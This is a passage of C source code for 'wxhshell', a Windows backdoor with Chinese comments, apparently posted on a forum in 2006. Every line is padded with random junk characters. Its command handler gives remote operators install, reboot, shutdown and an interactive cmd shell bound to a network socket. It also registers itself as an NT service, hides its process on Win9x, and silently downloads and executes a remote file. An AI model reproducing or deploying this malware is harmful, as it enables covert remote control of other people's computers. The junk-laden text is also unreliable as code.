  else { 2kCJqyWy  
6K?+adKlc  
    switch(cmd[0]) { &/=xtO/Z{  
  zx#d _SVi  
  // 帮助 <XCH{Te1  
  case '?': { >%Y.X38Z[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,A[HYc|uy  
    break; ]vKxgfF  
  } .u W_(Rqg  
  // 安装 gj6"U {D  
  case 'i': { `Bkba:  
    if(Install()) {oBVb{<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z U f<s?  
    else 6u8`,&U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'DntZK  
    break; 0vQkm<  
    } "]zq<LmX  
  // 卸载 @OwU[\6fc}  
  case 'r': { >6jy d{  
    if(Uninstall()) R`TM@aaS:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _@?]!J[  
    else w:z_EV!&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r'xa' 6&  
    break; -#rFCfPy^  
    } &W.tjqmw  
  // 显示 wxhshell 所在路径 1(On.Y=   
  case 'p': { ~)oC+H@{  
    char svExeFile[MAX_PATH]; DU}q4u@ )  
    strcpy(svExeFile,"\n\r"); 4~Lw:o1a  
      strcat(svExeFile,ExeFile); sI*( MhU  
        send(wsh,svExeFile,strlen(svExeFile),0); Z!LzyCVl  
    break; Szwa2IdI.  
    } mUnn k`v  
  // 重启 yKDg ~zsh  
  case 'b': { 2Q1* Xq{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .JQR5R |Q  
    if(Boot(REBOOT)) W%vh7>.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \?g)jY  
    else { J )@x:,o  
    closesocket(wsh); ~POe0!}  
    ExitThread(0); #H7(dT  
    } l9P~,Ec4''  
    break; ukG1<j7.  
    } 1AoBsEnd  
  // 关机 e^Jy-?E  
  case 'd': { f"k/j?e*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j}0*`[c  
    if(Boot(SHUTDOWN)) <`6-J `.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T3M 4r|  
    else { QI`Z[caF  
    closesocket(wsh); XUW~8P  
    ExitThread(0); n6|}^O7  
    } r}*2~;:pW  
    break; $R7d*\(G  
    } u7a4taM$d  
  // 获取shell 9%\q*  
  case 's': { H Qf[T@  
    CmdShell(wsh);  kQX,MP(  
    closesocket(wsh); G=~T)e  
    ExitThread(0); U%w-/!p  
    break; wond>m 3  
  } ce+\D'q[  
  // 退出 iW)FjDTP  
  case 'x': { vcV=9q8P1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Mc76)  
    CloseIt(wsh); xwK<f6H!y  
    break; Y*J`Wf(w  
    } d/R:-{J)c  
  // 离开 9RR1$( f  
  case 'q': { ~^Vt)/}Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HnOp*FP  
    closesocket(wsh); AQ+w%>G6  
    WSACleanup(); (VBoZP=W  
    exit(1); Q v{q:=k  
    break; siyJjE)}w  
        } '<1T>|`/t  
  } TioI$?l>W(  
  } N'2u`br4KP  
fa<83<.D  
  // 提示信息 nX?fj<oR|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I?F^c6M=  
} 3~Ipcr B  
  } L & PhABZ  
LuQ=i`eXx  
  return; /!7m@P|&D  
} B;7L:  
 299; N  
// shell模块句柄 7 NJ1cQ-}t  
int CmdShell(SOCKET sock) j g$%WAEb  
{ NSM-p.I9  
STARTUPINFO si; tLV9b %i(  
ZeroMemory(&si,sizeof(si)); yt_?4Hc"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =A=er1~%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c*1B*_08  
PROCESS_INFORMATION ProcessInfo; 3(FJ<,"D}  
char cmdline[]="cmd"; 7%)4cHZ^$?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0YIvE\-  
  return 0; LvW9kL+WiQ  
} v?d~H`L  
R<k4LHDy  
// 自身启动模式 jsi\*5=9p<  
int StartFromService(void) Z;??j+`Eo  
{ :LcR<>LZ  
typedef struct i~l0XjQbs  
{ $?;aW^E  
  DWORD ExitStatus; OZk(VMuI  
  DWORD PebBaseAddress; 8$3Tu "+;  
  DWORD AffinityMask; ^pZ(^  
  DWORD BasePriority; C/ ;f)k<  
  ULONG UniqueProcessId; wl5!f|  
  ULONG InheritedFromUniqueProcessId; t^uX9yvx  
}   PROCESS_BASIC_INFORMATION; c9f~^}jNb  
$&lS7}  
PROCNTQSIP NtQueryInformationProcess; h'kgL~+$  
F=d#$-yg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pw&l.t6.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v*]|1q%/  
5=Gq d4&*  
  HANDLE             hProcess; =@{H7z(p&  
  PROCESS_BASIC_INFORMATION pbi; W13$-hf9  
UY)YhXW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |\N[EM%.@  
  if(NULL == hInst ) return 0; .c~;/@{  
5O*. qp?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BnAia3z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Eiz\Nb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LFg<j1Gk`  
j: ]/AReOL  
  if (!NtQueryInformationProcess) return 0; yrkd#m  
+2C:]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e2/&X;2  
  if(!hProcess) return 0; h r t\  
[/5>)HK} C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `iQyKZS/+  
 dsJ}C|N  
  CloseHandle(hProcess); $WTu7lVV[1  
#2x\d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~Bj-n6QDE  
if(hProcess==NULL) return 0; \? MuORg  
eFZ`0V0  
HMODULE hMod; f9OVylm  
char procName[255]; VbA#D4;  
unsigned long cbNeeded; 9{ciD "!&V  
Rn-L:o@?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sV3/8W13  
^HC! my  
  CloseHandle(hProcess); iFga==rw  
}5DyNfZ]+0  
if(strstr(procName,"services")) return 1; // 以服务启动 (Rs<'1+>  
\<;/)!Nmw  
  return 0; // 注册表启动 O^sgUT1O  
} }t"!I\C  
%{o5 }TqD  
// 主模块 I uhyBo  
int StartWxhshell(LPSTR lpCmdLine) iM}cd$r{  
{ Vs9fAAXS4  
  SOCKET wsl; y . AN0  
BOOL val=TRUE; zjVb+Z\n  
  int port=0; SznNvd <  
  struct sockaddr_in door; ^@L  
y"2#bq  
  if(wscfg.ws_autoins) Install(); 9$#2+G!J  
V3F2Z_VH2  
port=atoi(lpCmdLine); p[g!LD  
HM ^rk  
if(port<=0) port=wscfg.ws_port; i-tX5Md|  
Ur5X~a\y  
  WSADATA data; J,P7k$t2vv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (K0FWTmm  
KOw Ew~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C7)].vUN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l^"gpO${K  
  door.sin_family = AF_INET; T[ mTA>d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sowkxw.^Q  
  door.sin_port = htons(port); PJkEBdM.  
o7hjx hmC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ))306*X\  
closesocket(wsl); o.y4&bC14;  
return 1; F+c*v#T  
}  ) VJ|  
{e>}.R  
  if(listen(wsl,2) == INVALID_SOCKET) { 5UjXpS  
closesocket(wsl); p?6w/n  
return 1; OP``g/x)  
} :5C9uW #  
  Wxhshell(wsl); GT#iY*  
  WSACleanup(); MF%9  
:) mV-(+o  
return 0; t'R&$;z@b  
U'Vz   
} 5k<HO_]  
l|5ss{llR  
// 以NT服务方式启动 *3. ]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mlIc`GSI  
{ =`.9V<  
DWORD   status = 0; Nu|?s-   
  DWORD   specificError = 0xfffffff; 9> [ $;>  
#J1a `}x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s}/YcUK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OG}0{?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; . VWH  
  serviceStatus.dwWin32ExitCode     = 0; S@T> u,t'  
  serviceStatus.dwServiceSpecificExitCode = 0; +gK7`:v4O*  
  serviceStatus.dwCheckPoint       = 0; dHd{9ftyF  
  serviceStatus.dwWaitHint       = 0; udW, P  
=p^*y-z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2nOQ48ha T  
  if (hServiceStatusHandle==0) return; HLTz|P0JZ  
2Ni2Gkf@  
status = GetLastError(); =}_c=z?UY  
  if (status!=NO_ERROR) *i)GoQoB  
{ &bA;>Lu#|o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [(UQQa=+  
    serviceStatus.dwCheckPoint       = 0; nD E5A  
    serviceStatus.dwWaitHint       = 0; oX!s u  
    serviceStatus.dwWin32ExitCode     = status; -OVJ]  
    serviceStatus.dwServiceSpecificExitCode = specificError; }7Pd\tG]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( 3=.3[  
    return; [wIyW/+  
  } >(d+E\!A  
vhKeW(z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D:%$a]_f  
  serviceStatus.dwCheckPoint       = 0; =d( 6 )  
  serviceStatus.dwWaitHint       = 0; "T#c#?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h`Y t4-Y  
} ?Yz.tg  
Fda<cS]  
// 处理NT服务事件,比如:启动、停止 G}] ZZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W 6~<7  
{ 9;JU c0%  
switch(fdwControl) 0^{zq|%Q!  
{ ,]20I _  
case SERVICE_CONTROL_STOP: OJ] {FI  
  serviceStatus.dwWin32ExitCode = 0; >8jDW "Ua  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m,]Tl;f  
  serviceStatus.dwCheckPoint   = 0; .L6t3/^  
  serviceStatus.dwWaitHint     = 0; -/7[_,  
  { }1Wo#b+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6 U# C  
  } 6S ]GSS<  
  return; zgVplp  
case SERVICE_CONTROL_PAUSE: vJXd{iQE@C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [NaU\;w\  
  break; :tR%y"  
case SERVICE_CONTROL_CONTINUE: $3"0w   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ("mW=Ln  
  break; /"Rh bE   
case SERVICE_CONTROL_INTERROGATE: l m-ubzJN  
  break; 0#<_:E  
}; I%{U~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XTHrf'BU  
} 'KyT]OObS  
|oO0%#1H  
// 标准应用程序主函数 bu@Pxz%_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *GD 1[:  
{ 2NE/ZqREg  
-cIc&5CS  
// 获取操作系统版本 yf_<o   
OsIsNt=GetOsVer(); =fG(K!AQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :UFf6T?  
w_A-:S 5C  
  // 从命令行安装 AGrGZ7p]  
  if(strpbrk(lpCmdLine,"iI")) Install(); F fl`;M  
=> -b?F0(c  
  // 下载执行文件 "fz-h  
if(wscfg.ws_downexe) { y~U+MtSf#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T|9Yo=UK%  
  WinExec(wscfg.ws_filenam,SW_HIDE); VO++(G)  
} zA-?x1th&  
}qb z&%R  
if(!OsIsNt) { s?OGB}  
// 如果时win9x,隐藏进程并且设置为注册表启动 F"B!r-J  
HideProc(); ?Vt$  
StartWxhshell(lpCmdLine); `b9oH^}n j  
} 0Dh a1[=  
else ;zz"95X7  
  if(StartFromService()) LnR3C:NO k  
  // 以服务方式启动 +wT,dUin_<  
  StartServiceCtrlDispatcher(DispatchTable); Z<ke!H  
else oJXZ}>>iT  
  // 普通方式启动 <|.S~HLTQ  
  StartWxhshell(lpCmdLine); @LwhQ  
sM~CP zMa  
return 0; +R#*eo;o7  
}
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只看该作者 1 发表于: 2006-10-10
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